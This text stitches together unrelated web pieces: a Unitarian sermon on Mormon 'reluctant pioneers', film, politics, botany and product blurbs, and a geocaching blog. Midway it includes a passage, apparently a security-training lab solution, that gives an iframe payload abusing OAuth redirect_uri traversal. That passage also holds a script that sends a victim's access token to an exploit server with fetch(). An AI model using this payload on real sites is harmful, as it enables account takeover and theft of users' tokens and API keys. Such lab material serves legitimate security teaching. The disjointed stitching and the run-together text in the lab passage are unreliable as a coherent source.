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By Stephen Carter
Stephen Carter is the director of publications for the Sunstone Education Foundation. An earlier version of this article was presented as a sermon on 17 July 2016 at the South Valley Unitarian Universalist Society in Cottonwood Heights, Utah.
Or right-click to download the audio here: A Reluctant Pioneer
Does anyone actually want to be a pioneer?
It probably depends on the type of pioneer we're talking about.
For example, if someone says "pioneer" at a tech conference, they're probably referring to someone who pushed technology forward: Ada Lovelace, Steve Jobs, Mark Zuckerberg. If you're talking music, pioneers are people like Ray Kurzweil for his keyboards, or Jimi Hendrix for his guitar work, or Billie Holiday for her blues singing. If you're trapped in a college literature classroom, pioneers will be James Joyce creating the stream of consciousness novel, or Flannery O'Connor birthing the southern gothic tradition.
In other words, we often conceive of a pioneer as someone who makes something new or heads into previously unexplored territory. We often regard them as inspired, visionary, possibly even quasi-divine. A lot of us wouldn't mind being a pioneer in this sense, to be honored as someone who took the next step and established a new genre, technology, or school of thought.
But let's say that you're living in Utah at the end of July. Pioneer means something different. It refers to the tens of thousands of Mormons who crossed the American plains during the mid 19th century and settled the Intermountain West. On Pioneer Day, you'll see people dressed in late-19th-century-style clothing marching in parades, perhaps pulling a handcart or—if they're really hardcore—driving a covered wagon. Some of them will be engaging in various olde tyme activities in the many pioneer parks the state has.
Watching these people, it's obvious that they're proud of Utah's pioneer heritage. They portray these ancestors as visionary people who were willing to sacrifice. Willing to leave their homes in the Midwest and trek across a thousand miles, often losing some of their loved ones along the way. Willing to go settle a dusty, sagebrush-dotted place in the middle of the Great Basin, living in lean-tos until they could build a dugout, and then a one-room cabin. They are honored for their sense of autonomy and exploratory spirit. However, a deeper look at Mormon history gives us different view.
From the beginning, the Mormons were pretty much constantly on the move. Only a year after the Church was founded, Joseph Smith and his followers abandoned New York for Kirtland, Ohio. And then, two years later, another 1200 Mormons headed out of Kirtland to Missouri. But in a matter of just a few years, the Mormons were ejected from both places, sometimes through the shedding of blood. In 1839, the Mormon refugees were welcomed in Illinois, where they built what would become the state's second largest city. But by 1846, they were chased out of town by mobs and were once again on the trail, headed west.
It seems hard to believe that Mormons, who, as one of my friends has quipped, have trademarked niceness, would be so disliked by their neighbors. But Mormons were a very different kind of people back then.
Even though they were constantly trying to gain converts, Mormons were very insular. They traded only amongst each other. They tended to vote as a bloc. And, with all the new converts streaming in, they could take an area over rather quickly.
And Joseph Smith was teaching in no uncertain terms that the Mormons were building the literal city of God, where Jesus would arrive to kick off the Second Coming. He even had the city's plans drafted.
To see the situation from the non-Mormon point of view, imagine that a religious group with a charismatic leader moved into your town with the express purpose of populating its political system, changing the government into a theocracy run by their own leaders, and building a new city according to their plans. And they don't see room in their city for you if you don't covert. And then imagine that they quickly become numerous enough to start accomplishing their goals.
You can see why the Mormons' neighbors were so uncomfortable. And since this was the American frontier, where law enforcement was sparse and unpredictable, these tensions erupted in violent ways, perpetrated by both Mormons and non-Mormons.
So, behind the triumphal stories we often hear about the Mormon pioneers, the fact is, they were reluctant pioneers: from their first move away from New York to their last into Utah. If given a choice, they probably would have preferred to stay where they had already built up homes, businesses, and farms. They wanted to stay in Kirtland, where they had built their first temple. They wanted to stay in Jackson County, Missouri, to build the city of Zion. They wanted to stay in Nauvoo where the golden age of revelation had occurred. But every time, they were forced out.
So now we have considered two kinds of pioneers. 1: Those who are pressing into various frontiers voluntarily, and 2: Those who are forced to become pioneers.
As we noted, no one minds being the first kind of pioneer. It's exciting and ego boosting to be pushing knowledge and culture forward. But none of us want to be the second kind of pioneer. None of us want to be ejected from a place we'd rather stay. None of us want to encounter a strange land without preparation.
However, becoming a reluctant pioneer happens a lot, in big and small ways. For example, my seven-year-old daughter found out that she loves to dance, and has since joined a very dedicated dance team. So I've had to learn how to braid hair, and how to put it up into a bun that can withstand five hours of vigorous activity. I've had to learn about makeup. I've had to learn the social rituals of dance parents and how to navigate the labyrinth of dance competitions. It was something I would never have chosen to do.
But that's small potatoes.
Some reluctant pioneers that have become especially visible in Utah recently are homeless teenagers who have been ejected from Mormon homes because they identify as part of the LGBT community. On the other side of that story are those children's Mormon parents. Both are severed from their moorings: the teen from his or her home and support structure, the parents from their idea of who their child is and how he or she fits into cultural expectations, Mormon doctrine, and their family. Both are heading into territory that they never expected to enter. And both are frightened.
And certainly we should recognize as reluctant pioneers the refugees from violence and poverty in the Middle East and Central America who have received such bad treatment from the United States.
It's true. No one wants to be a reluctant pioneer. We want to power ahead on our own steam. We want to be the master of our own fate. After all, what happens to the homeless teen? What happens to parents who ejected that teen? What happens to the refugees? The stories of reluctant pioneers end in many ways. Sometimes in death. Sometimes in reconciliation. Sometimes in a new home. Sometimes in a new soul.
I want to talk about one more kind of pioneer, though. One that may seem counterintuitive.
One evening, a group of friends and I were shooting the political breeze. All of us have a college education; some have graduate and post-graduate degrees. And though all of us started out as orthodox Mormons, three-fourths have since left the LDS Church, formally or otherwise. All of us lean liberal, some of us having been more excited about Bernie than others, so we were having a grand time bemoaning the Trump campaign, bringing up all the recent studies, all the new articles, and all the latest tweets to show just what a travesty the man was.
As I listened to the conversation, something started coalescing in my head, and eventually I asked a question. "If you could stop Trump from becoming president by investing 1 percent of your time, would you do it?"
They looked at me like I was selling Amway, but they indulged me. Probably because I had brought chocolate chip cookies.
"It's like that old thought experiment," I said: "'If you had the chance to kill Hitler before he became the Fuhrer, would you do it?' But I'm just asking for 1 percent of your time instead of murder."
"We're all liberals here," I continued. "We're all educated. We're all white. We're all male. We all live a middle-class lifestyle. But only three of our dozen go to church. From what I've read, that's pretty normal for people like us. Liberals are far less likely to be churchgoers than conservatives are. Something like 30% and 70% percent respectively. This means that liberals are missing from a major site of social fabric building."
Social fabric is made up from the interaction people in a community have with each other. It is woven at bowling leagues, at PTA meetings, at the Kiwanis Club, at church. It is woven in places where we pursue a common goal together, where we share a particular theology or philosophy. Like a single thread woven into a piece of fabric, we aren't connected at just one point, but many. At church, we are bound by a shared sacred language and mythology. At the Kiwanis Club or the PTA, we are bound by the work we do together on a fundraiser or an event. At the bowling league, we are bound as we cheer each other's scores, knowing that the success of our teammates adds to the team's success. In these places, we build relationships with each other in multiple ways so that when something like politics strains one connection, we have others that can hold us together—that can help us remember that we are all multifaceted beings. For example, even if the person sitting in the next pew votes for a candidate you disapprove of, you've still worked in the youth program together, or you still have a great time at the book club with her every month, or you brought them food when their family was sick, and they did the same for you. (When the rash of articles about Prince ran through my Facebook feed, the most interesting one to me was the one about his relationship with the people in his church. Prince wasn't just a rock star; he was a social fabric weaver.)
I continued to harangue my friends. "I've read that the divide between liberals and conservatives has grown hugely during the past decade or so. Part of it can probably be blamed on the Internet and cable television. But I wonder if a significant part of it can't also be blamed on the simple fact that so few liberals go to church. We've dropped out of one of the major social fabric construction sites our culture has to offer. So when your neighbor sees that Bernie sign on your lawn, she has nothing else to think of you through. And if a Trump sign goes up on her lawn, you are in a similar position. You have nothing to relate through except our deeply divided political discourse."
That's the grenade I lobbed into the middle of my friends. Instead of committing murder, I contended, go to church, join a service club, join a bowling league. Hang out with people you're different than. Because if you're engaged with some kind of social fabric building for a few hours a week, suddenly those crazy conservatives start becoming more human to us. And we crazy liberals start becoming a little more human to them. We're not able to dismiss each other out of hand because too much already binds us together. We're more likely to give each other the benefit of a doubt. We're less likely to defend our political identity at all costs. Perhaps we would still wrestle over politics, but—as in wrestling—even if we're trying to pull a move on the other person, we're still locked in a tight embrace.
Here's the funny thing. As far as I could tell, my friends were completely nonplused by my idea. They had moved out of the Mormon Church for good reasons, and they were completely unwilling to go back inside one of those buildings. Of course, I wasn't asking them to go back to a Mormon church; I was asking them to go to any church, any service club, any bowling league. But they seemed unwilling to take me seriously.
Frankly, I don't blame them. Though I go to my local Mormon church most Sunday afternoons, the fact is, whenever I put on my shirt, tie, and slacks, whenever I approach the prefab building with its "We should be a reverent people" lettering on the front door, my chest tightens a little. I feel as if I am walking into a prison. Probably because Mormonism was a prison for me for such a long time.
But I go in anyway. Why? Probably because I get to teach my own class.
If you've gone to an LDS church for any length of time, you know that Mormons practice recycling. Not of cans and plastics, but of ideas and stories. Everyone knows how the lesson should proceed, and everyone knows which stories will fit comfortably into which slots. It makes for an environment where everyone can feel that the ground is stable beneath their feet. Many Latter-day Saints must enjoy this practice because they keep going to church, and they willingly participate in these semi-scripted classes (which, admittedly, can help build the social fabric, providing us with stories to hold in common).
However, my goal is different. I want to help my class attain what Parker Palmer calls "troth" (as in, "I pledge thee my troth"), where we "engage in a mutually accountable and transforming relationship, a relationship forged of trust and faith in the face of unknowable risks. . . . To know in troth is to allow one's self to be known . . . to be vulnerable to the challenges and changes any true relationship brings."1
It's a small class, ten participants at the most, and sometimes zero. I put the chairs in a circle, and, using the various pedagogical strategies I've learned over the years, I work to build a conversation space where people feel safe talking about their own lives, ideas, and challenges instead of grabbing onto the nearest faith-promoting story. Watching how my class members transform as they come into troth with one another never ceases to amaze me. They become both brave and vulnerable. We start to see beyond each other's veneers, perceiving the divine spark within each other. When we bump up against a sensitive topic like women and the priesthood, or polygamy, or the November exclusion policy, we actually make a little headway in talking about it. One day, one of my class members started talking dismissively about the people who had left the Church over the exclusion policy. When he finished, I said, "There's one, single reason I came back to church after that policy came out. It was because I knew some people here would be suffering, and that they would need comfort. That was the one reason."
You probably realize that something very important was missing from my statement. You're supposed to come back to church after a challenge because you have a testimony of its truth. My statement implied that such a testimony didn't come into play, which is quite a startling thing for a Sunday School president to say. Later I wondered if it would come back to bite me—if someone in our class would go off and tell the branch president. But it didn't happen. And the class member I responded to came back the next week and we continued to talk. Though we had disagreed on something significant, the social fabric kept us together, and we've had some good conversations since then.
So far, it has not gotten easier to step back inside an LDS church building. There are times when I'd be more than happy to just get my day of rest back. To get out from under the responsibilities Sundays bring, to escape the tensions that inevitably arise from interacting with the Church as a member. But I keep going back because it provides a space where children of God can possibly see each other more purely, and understand a little better what it means to be one in heart. We don't necessarily agree with each other, but, as often as possible, I hope we try to understand one another.
My reluctance to go into a church building brings me back to pioneers. For many decades after the Mormons trekked to Utah, they harbored an understandable enmity toward the states that had persecuted and ejected them. A vow to avenge the martyrdom of Joseph Smith was even built into the temple ceremony. Illinois' Extermination Order—basically declaring open hunting season on Mormons—wasn't rescinded until the 1970s. So the Mormons were loathe to return to these areas. The friends I've been speaking about, and others who has left the Mormon Church, probably feel the same way about religion. You don't want to go back to a place where your questions were construed as apostasy, where people were more concerned with maintaining the status quo than in engaging with you.
We all have something similar in our lives: contexts, groups, and institutions that ejected us or became an unhealthy place for us to be. Places we don't want to return to. This is where the journey of the third pioneer starts.
Joseph Campbell is famous for collecting myths from all over the world and showing that they had a similar structure, which he called the monomyth or the hero cycle. The structure in its most simple form goes like this:
The protagonist, or the protagonist's community, is somehow ill or in trouble.
The protagonist is lured into taking a journey outside the community.
The protagonist explores an unfamiliar land.
The protagonist meets and wrestles with various antagonists, all of which are aspects of the protagonist.
The protagonist finds an elixir and is healed by it.
The protagonist returns to his or her community, bringing the elixir along for their benefit.
You'll recognize that structure in many popular movies and books such as Star Wars: Episode 4 and The Lord of the Rings.
In the Mormon blogosphere, there is a genre called the exit story, where people describe how they left the Church. However, as far as I know, no one has yet identified the re-entry story genre. I know of a few stories like that, but only a few.2 It's because finding that healing elixir requires everything—not just effort, but change. It's always easier to settle for a different identity that leaves your ego intact than to actually undergo a transformation. But finding the elixir means that you have become an entirely different person—one who has transformed almost beyond recognition.
Probably all of us have embarked on the hero cycle in one way or another. All of us have headed toward what we hope is Zion (or away from what we think is Babylon). But where are we on our journey now? Have we settled for simply inhabiting a different land while remaining the same person? Or are we truly encountering all aspects of ourselves as we seek to become the kind of person who could drink the healing elixir if we found it? And then, the most important question: if we have received the elixir, are we completing the hero cycle? Are we willing, even reluctantly, to go back to our ailing communities and bring the elixir with us?
Our families are our community. Our neighbors are our community. Our church is our community. Our city is our community. Our state is our community. Our nation is our community. And each ails in some way. Many of us have left these communities—whether literally or metaphorically—to find healing. If we have found it, if we have become whole (and only you can know if you are), it may be time to make the return trek: re-entering our communities not as the person we were when we left, not to step into the role we once played, not to take up the behaviors we once engaged in, but as a new person, as a whole person, as a healer (though not a converter or a persuader).
For example, Mormons aren't perfect, but we're not nearly as difficult to live with as we once were. We went into the wilderness of Utah and gained some experience. We've become more comfortable in our skins. We've mellowed out a lot. That's why we're not getting kicked out of every place we try to live. We can return to the places and people that once persecuted us with a little more to offer, with a little more self-awareness. We can start to heal the rift, not by avenging the blood of the martyrs, but by being more whole and contributing to the social fabric in our own unique way.
But that certainly won't be where the story ends. In a way, that's where it begins. You will soon find out if you really are as whole as you thought you were. You'll soon find out if you're still operating from your ego. The work of connecting never ends, and there will always be new challenges. The only way you can keep going is if you are your own wellspring—if you receive your energy from the here and now instead of from social approval or the prospect of future success. And we also have to realize that the elixir isn't some magic potion that heals on contact. You're not bringing rest to the community; you're bringing an invitation: "Go on your own hero's journey." Because, really, that's the only way to be healed.
And everyone who hears the call will become a reluctant pioneer—wanting to stay home, but finally being ejected into the most important—and most demanding—journey of their lives.
1. Parker Palmer, To Know as We Are Known: Education as a Spiritual Journey (New York: HarperOne, 1993), 31.
2. One of them is John Donald Gustav-Wrathall, "A Gay Mormon's Testimony," Sunstone 141 (April 2006), https://sunstone.org/wp-content/uploads/sbi/articles/141-52-57.pdf (accessed 23 July 2019.)


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Does Abuela Claudia Die in the Musical Film 'In the Heights'? (SPOILERS)
The movie 'In the Heights' is based off the Broadway musical with the same name, but with some changes. Does Abuela die in the movie like in the play?
Spoiler alert: This story contains spoilers for In The Heights.
The movie adaptation of the Broadway play of the same name, In the Heights, is finally here! Crazy Rich Asians director Jon Chu brings Lin-Manuel Miranda and Quiara Alegría Hudes' musical to the big screen that tells the story of a NYC bodega owner Usnavi (Anthony Ramos) and the lives of various residents living in the Upper Manhattan neighborhood of Washington Heights over the course of a sizzling-hot three days.
The movie family focuses on the aspirational young that want their neighborhood to stay the same and not become re-gentrified, but at the same time, they want to evolve. They have life plans of their own, and they want to become fashion designers or acclaimed graduates while still holding to their multicultural identity. These young adults want to escape, especially Usnavi, who's keen on returning to his childhood home in the Dominican Republic to re-open his father's old bar.
Usnavi, throughout the movie, also narrates the trials, tribulations, and triumphs of the Heights. One of the movie's brightest characters in the film is the community matriarch Abuela Claudia (Olga Merediz), who raised Usnavi after his parents died. She became a surrogate grandmother to many in the barrio, and the young strivers will need Abuela's guidance as their contradiction plagues them. Unfortunately, in the Broadway musical, Abuela dies. Does she also die in the movie?
Unfortunately Abuela Claudia does die in the movie version of 'In the Heights', but not in the same way as the play.
Olga Merediz, who portrays Claudia in the movie, also played Abuela during the entire run of the broadway musical. Through Abuela Claudia, the characters in the movie will learn that you can become who you want to be just by being who you already are. The cheerleader and caretaker of everyone in the neighborhood is a woman who believes in faith and patience. Abuela has been through so much and was a true believer that miracles happen to those who wait.
Her blessing finally comes, and she doesn't know what to do. Claudia ends up winning the lottery for $96,000 but doesn't tell anyone about it and just holds on to it. During the blackout in the film, Abuela recalls her childhood in Cuba and her life journey, which led her to the present day. She remembers what she and her mother had to give up to come to America and while lying on the couch, imagines a fantasy subway station.
At the end of her song, Abuela Claudia climbs the subway stairs and into the light. That's when she dies from the strain of the sweltering summer heat. Usnavi finds her unconscious and desperately tries to contact emergency services. All the residents come together to mourn their pillar of the community, and a mural in her honor is unveiled toward the end of the movie.
Abuela had stashed her winning lottery ticket away somewhere with a note that read: "For Usnavi." He comes across it later when he goes through her things.
In an interview with W Magazine, Olga talks about being in the play and movie and shares, "It's amazing for me to have this journey with this character from its inception. It's very rare for a theater actor to have the opportunity to play their role in a movie. I'm so grateful; it's like a miracle, a dream come true. I knew that the audition was make it or break it for me, life or death. I had to really blow it out and do the best job possible."
In the Heights premiered on June 11 in theaters and on the streaming platform HBO Max.

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EP security points to Farage group in 'Red Dalia' dispute
The distribution in the European Parliament of a controversial book accusing Lithuania's president Dalia Grybauskaite of having worked for Soviet Russia has been linked to the eurosceptic EFDD group led by British MEP Nigel Farage.
The group denies knowing anything about the contents or the circulation of the book - called "Red Dalia".
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But it said that if it's proved that a member of staff distributed it without authorisation they will face "full disciplinary action".
Meanwhile, a spokesperson for EP president Martin Schulz says the parliament is waiting to see the group's decision on what disciplinary measures might be taken.
Over 700 copies of the controversial book, which alleges that the president worked for Russia's Soviet-era spy agency, were placed in MEPs' pigeonholes.
Following a complaint by Liberal Lithuanian MEP Antanas Guoga, and a separate intellectual property complaint by the book's author, Ruta Janutiene, who said she never gave anyone permission to translate it, the EP's directorate-general for security has concluded that "Red Dalia" was distributed on 10 December by EFDD secretariat member Kevin Ellul Bonici.
The findings of the internal investigation were meant to be confidential, but were leaked to the media by Guoga.
The letter from the security directorate, addressed to EP president Schulz, says Bonici on the day in question "invited two guests into parliament, one Russian citizen, and one Polish citizen who was born in Moscow".
The letter said the two men "helped to distribute the books". It added that the services were unable to identify a fourth man who also helped.
Bonici, for his part, told this website that he denies "those media reports".
The story has also prompted a slanging match between Lithuanian deputies.
Guoga has given interviews saying he is concerned that someone wants to "tarnish Lithuania".
He is blaming Lithuanian MEP and impeached ex-president Rolandas Paksas who, together with Lithuanian euro-deputy Valentinas Mazuronis, are from the Order and Justice party, which is a member of Farage's EFDD.
Guoga suggested that a recent visit by Farage to an Order and Justice party congress a few weeks ago was no coincidence.
In response to this claim, Paksas, in a live LRT radio broadcast, said Guoga had "lost his mind" and encouraged him to "think about his family and children".
Guoga understood this as direct threat to his family prompting Liberal group chief Guy Verhofstadt to send an email to Schultz asking him to take steps to "ensure the safety of Mr Guoga".
For his part, an EFDD spokesman told EUobserver "the group will work with parliament's security services to look into these allegations".
Paksas and Mazuronis have also asked EFDD leaders, as well as the parliament president, to find out who distributed the book.
The book "Raudonoji Dalia" was published in 2013 and caused major controversy in the Baltic country, which gained its independence from the Soviet Union 25 years ago.


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The stable carbon isotope ratio of leaf dry matter (δ13Cp) has been considered a reliable measure for water use efficiency in C3 plants. However, it has been reported that there is a shift during a new leaf's maturation phase. As it is expanding, the young leaf is 13C-enriched compared to fully mature leaves. The δ13Cp drops through the period of leaf expansion until it has taken on the value of surrounding mature leaves.
In an article published earlier this year in Annals of Botany, lead author Nara O. Vogado and colleagues set out to determine whether the difference between juvenile and mature leaf δ13Cp is the same for both temperate and tropical species, and for deciduous versus evergreen species. They also tested whether the changing δ13Cp was a sign of decreasing water use efficiency during a young leaf's maturation.
The researchers found that deciduous trees have a significantly larger δ13Cp difference between juvenile and mature leaves than do evergreens. No significant difference was found between tropical and temperate species.
Contrary to expectations based on δ13Cp, leaf water use efficiency increased rather than decreased during maturation. The counterintuitive δ13Cp value is the result of a combination of low photosynthetic capacity and high daytime respiration rates in young leaves, leading to the addition of 13C-depleted photosynthetic carbon from the young leaf to imported carbon from older leaves.
"[O]ne of the most useful applications of leaf δ13Cp for C3 plants is as an indicator of intrinsic water-use efficiency," write the authors. "The relationship between intrinsic water-use efficiency and mature leaf δ13Cp has generally been observed to be robust. However, our analysis suggests that for young vs. mature leaves of C3 plants, higher δ13Cp should not be interpreted as an indication of higher intrinsic water-use efficiency. Indeed, the pattern of change for intrinsic water-use efficiency as C3 leaves expand is just the opposite."
They note that further research will be necessary to uncover the mechanism behind the δ13Cp differences between the young and mature leaves of deciduous and evergreen trees.


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Green Skyscrapers
In the next few days we will showcase 25 innovative proposals for green skyscrapers. These projects were submitted for the Annual Skyscraper Competition from 2006 to 2009.
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Poreux is a Project located in Docklands waterfront Melbourne, Australia. It is a proposal to Bridge Docklands to Melbourne centre activity district. The railway tracks split the two places, discouraging a fluid transition of urban life. A Voronoi network is used as the basis of the design concept as an attempt to evenly distribute density of population and programs horizontally and vertically, diffusing the hierarchical organization inherent in a city iron grid to encourage every network reaching its potential. The programs have been scrutinized at both the macro level and micro level to ensure it embraces and contributes to its surrounding to make Docklands a more accessible and a more pleasurable place to be in. Read the rest of this entry »


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Follow the link below to get access to the recording of this yeas inspire showcase hosted by the International Working Group on Women and Sport (IWG). The online event took place on 12th of July 2022 and was under the motto "Change inspires Change"!
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Study the OAuth flow while proxying traffic through Burp. Using the same method as in the previous lab, identify that the
redirect_uriis vulnerable to directory traversal. This enables you to redirect access tokens to arbitrary pages on the blog website.
Using Burp, audit the other pages on the blog website. Observe that the comment form is included as an
iframeon each blog post. Look closer at the
/post/comment/comment-formpage in Burp and notice that it uses the
postMessage()method to send the
window.location.hrefproperty to its parent window. Crucially, it allows messages to be posted to any origin (
From the proxy history, right-click on the
GET /auth?client_id=[...]request and select "Copy URL". Go to the exploit server and create an
iframein which the
srcattribute is the URL you just copied. Use directory traversal to change the
redirect_uriso that it points to the comment form. The result should look something like this:
<iframe src="https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT_ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
Below this, add a suitable script that will listen for web messages and output the contents somewhere. For example, you can use the following script to reveal the web message in the exploit server's access log:
<script> window.addEventListener('message', function(e) { fetch("/" + encodeURIComponent(e.data.data)) }, false) </script>
To check the exploit is working, store it and then click "View exploit". Make sure that the
iframeloads then go to the exploit server's access log. There should be a request for which the path is the full URL of the comment form, along with a fragment containing the access token.
- Go back to the exploit server and deliver this exploit to the victim. Copy their access token from the log. Make sure you don't accidentally include any of the surrounding URL-encoded characters.
Send the
GET /merequest to Burp Repeater. In Repeater, replace the token in the
Authorization: Bearerheader with the one you just copied and send the request. Observe that you have successfully made an API call to fetch the victim's data, including their API key.
- Use the "Submit solution" button at the top of the lab page to submit the stolen key and solve the lab.
Lab: Stealing OAuth access tokens via a proxy page
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.
To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit the solution using the button provided in the lab banner.
The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.
You can log in via your own social media account using the following credentials:
As the victim uses Chrome, we recommend also using Chrome (or Burp's built-in Chromium browser) to test your exploit.


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We're exiting the post-holiday game lull in March with big titles like Far Cry 5, Ni No Kuni II: Revenant Kingdom, and A Way Out. But if you're wallet is still hurting from the holidays, March's PlayStation Plus lineup has a couple of worthwhile alternatives. Seriously, March features two of the very best PlayStation 4 games available free of charge for PlayStation Plus subscribers: Bloodborne and Ratchet & Clank.
Bloodborne, a spiritual successor to the Dark Souls series, is not a game to approach lightly. The world of Yharnam has been afflicted by a strange illness which turned all of its people into mystifying beasts who will try to hack you to death at all times. While Bloodborne retains the notorious difficulty of Dark Souls, the combat is much more fluid and reactionary. The dark and dreary setting has a Lovecraftian vibe. Coupled with the fast, demanding combat, Bloodborne is sure to keep you on the edge of your seat.
On a lighter note, the cartoony Ratchet & Clank offers some of the best platforming and gadget-focused action available on PS4. A reimagining of the PlayStation 2 classic, the platformer reworks the origin story of the young Lombax and his robot pal, and includes gameplay refinements seen in more recent entries in the series. Not only is it loads of fun, Ratchet & Clank also happens to be one of the most visually stunning games on PS4.
For those still powering on Sony's virtually extinct PlayStation Vita, pixelated horror game Claire: Extended Cut and Bomberman clone Bombing Busters will be up for grabs. Both of the Vita freebies are cross-buy enabled, so you can play them on PS4 as well.
Again, PS3 users receive a pair of underwhelming titles. Legend of Kay, originally a PS2 game, is an action-adventure game that follows a cat who seeks to restore order to his home island, which has been overrun by tyrannical gorillas and rats. And if you skipped out on the extremely disappointing spiritual successor to Mega Man, now's your chance to take Mighty No. 9 for a spin without paying for it. Mighty No. 9 also has cross-buy with PS4.
Sony also announced that it will stop giving out free games for PlayStation 3 and PlayStation Vita on March 8, 2019. The change was bound to happen at some point. The offerings for PS3 and Vita have been scraping the bottom of the barrel for quite some time. Considering the fact that PS4 users technically will receive five free games in March thanks to cross-buy, it will be interesting to see how many PS4 games Sony will give out per month when the change kicks in.
As always, make sure to download February's free games before the new deals begin March 6.
Editors' Recommendations
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When you buy a layer you have the opportunity to influence your favorite artists' work. Layers are endowed with special abilities decided by the artist. When you change something on a layer the Master image will reflect this regardless of who owns it! The image below runs through a mix of the various layers and states to give an overview of some of the possibilities.
The Creation explores "Blurring Borders", the theme of The Grid: Exposure, part of Ars Electronica 2020. It is a cross-continental collaboration between CODAME Artists Jordan Gray (US), Janessa Robinson (US), and OoakosiMo (PH) and veteran Async Artist Vans Design (IT). As layers are purchased and their states manipulated, lines between creator, collector, and curator will blur.
CODAME is thrilled to partner with the amazingly innovative team at Async Art in the creation of a programmable blockchain art piece. Async Art is a new art movement to create, collect, and trade programmable art. Digital paintings are split into "Layers", which you can use to affect the overall image. Art that can evolve over time, react to its owners, or follow a stock price is now all possible with programmable art.
The Creation Async-hosted Auction will be taking place on Sep 14. Bidding will close on Sep 18 between 8-10 am PST. Follow instructions on auction-the-creation.
25% of the total sales will be donated to The Grid in support of the organization's international solidarity fundraiser in support of the local art scene in the San Francisco Bay Area.
To emphasize the power of the future Layer holders, CODAME has decided to make a T-shirt of a specified state of the artwork. After the piece is auctioned off on September 18th, we will wait a week for the Layer owners to make their desired changes to the artwork and will gift the Master owner the final T-shirt, as well as offer it as featured merchandise on our Gallery Online Store. You can place pre-orders for the t-shirt now!


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We use 1944 processors of the Earth Simulator to model seismic wave propagation resulting from large earthquakes. Simulations are conducted based upon the spectral-element method, a high-degree finite-element technique with an exactly diagonal mass matrix. We use a very large mesh with 5.5 billion grid points (14.6 billion degrees of freedom). We include the full complexity of the Earth, i.e., a three-dimensional wave-speed and density structure, a 3-D crustal model, ellipticity as well as topography and bathymetry. A total of 2.5 terabytes of memory is needed. Our implementation is purely based upon MPI, with loop vectorization on each processor. We obtain an excellent vectorization ratio of 99.3%, and we reach a performance of 5 teraflops (30% of the peak performance) on 38% of the machine. The very high resolution of the mesh allows us to perform fully three-dimensional calculations at seismic periods as low as 5 seconds.
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Greetings from AllSys!
We are pleased to update you on our upcoming 1-day workshop on Business Case Writing in Melbourne.
About This Course:
Business Case Writing provides a practical, step-by-step process for writing a clear, concise and actionable business case. A business case explores all feasible approaches to a given problem and enables business owners to select the option that best takes the organization forward. Its purpose is to define the parameters, risks and management factors involved within the project. It can be considered as a tool for the project manager to guide the design, management and evaluation of the project.
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Homeowners and business owners in Frederick, Maryland, know who to call when they need help with their heating or AC: Presidential Heating & Air Conditioning of Gaithersburg. We provide the full range of heating and cooling services to residential and commercial customers in Frederick and the surrounding area.
HVAC Maintenance
When you make an investment in a heating or cooling system, you want to get the most you can out of it. The best way to do that is to schedule annual maintenance service. Regular service helps prevent emergency calls and it keeps your equipment working at peak performance for longer.
Our HVAC company offers heating tune-ups every fall and AC tune-ups every spring. However, if you sign up for our Presidential Advantage Maintenance Plan, you get an even better deal. Seasonal tune-ups of your HVAC equipment are included in the plan, plus, you get other benefits such as priority over other calls when you have an urgent repair need.
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Our maintenance plan helps mitigate the need for emergency repairs, but eventually, all systems need some type of repair. Count on our expert HVAC technicians when your furnace, boiler or AC is acting up. Our experience helps us diagnose even difficult issues quickly. We get right to work on repairs so that we can have your system back up and running in no time.
Sometimes, however, it might make more sense to replace your equipment rather than repair it. In these instances, we do an evaluation and give you our recommendations for repair or replacement. However, the final decision always rests with you, the customer.
HVAC System Installation
If you're building a new home, renovating an existing home or you're a developer planning a new community, you need to look at your options for HVAC system installation. This is when a consultation with an HVAC expert can really help.
We'll go over with you what we think will work best for your square footage as well as your individual needs. You want a system that's able to adequately heat and cool your space, but at the same time, you don't want to pay more than you have to. It's an important decision, so you want to be sure you have all the correct information.
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A gorgeous teak side table from the 1960s designed by Henning Kjaernulf for Vejle Stole Mobelfabrik of Denmark. Quality craftsmanship throughout featuring clean Danish modern era lines with sculpted solid teak edging and legs. Overall excellent condition.
Dimensions: 25 1/2" Long x 17 1/2" Wide x 19 3/4" High.
Date: 1960s
Origin: Denmark
Design: Henning Kjaernulf
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What Does Reverse Osmosis (RO) Mean?
Reverse osmosis (RO) is a process that removes salt from seawater. It is a process where water is deionized or demineralized by pressurizing it via a semi-permeable membrane that selectively lets molecules or atoms pass through.
This process is used in treating wastewater, recycling and in the generation of energy, making it very significant in various industries.


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A few weeks back when I had a day to myself I tackled the geocaches a little bit north of us in Randolph, NH. I'd had my eye on that particular tract of land for a while, and I figured it was one of those little-known pieces of land people wouldn't seek out. The Randolph Community Forest had eight geocaches on it and it didn't look like a hard bit of hiking.
On the way to the forest, I made a quick detour to the entrance of Moose Brook State Park and grabbed a couple of geocaches hidden here. There weren't many people in the parking lot by the entrance for here, and I was in and out pretty quickly. It was a beautiful spot for a quick visit. One family was using the picnic tables for some outdoor time and a picnic. It was a bit of a chilly day for this. As nice as it had been down in the Mount Washington Valley, just an hour north I needed a sweatshirt.
What I wasn't expecting the beginning of May was to be dealing with snow. The snow cover maps were only showing snow left in the upper mountains. This area of Randolph didn't seem to be in the coverage area. Still, I arrived to the parking lot and saw a lot of snow on the Jimtown Logging Road which was the largest trail in the area.
It was a beautiful day to be up here though. The sky was clear and a deep blue for a nice contrast to the snow still on the mountain peaks.
The first cache in the Forest was an easy enough find, as were a few others. As I hiked deeper into the forest, though, the snow and muddy spring conditions proved to be an impediment.
One section of the marked trail went near a reservoir. Not only was the reservoir full and overflowing, but all around it was flooded as well. I got creative to go search for a cache that was just beyond it and didn't get my feet wet there.
The trail is well-marked, however. No trying to figure out which direction I needed to go. Not only was I using my GPS compass to go from cache to cache but I had easy trail markings to follow.
I found 7 out of 8 caches in this area and it was a nice walk. The last cache was right off of the logging road, but had an obstacle of its own.
Going back to my Wrangler I had to cross a field and it was wet. That was when my feet got soaked. There was just no way around it unless I was going to double-back a bit and I didn't want to do that. One of the caches on one of the trails with flowing water on it had been a bit of a climb to get to.
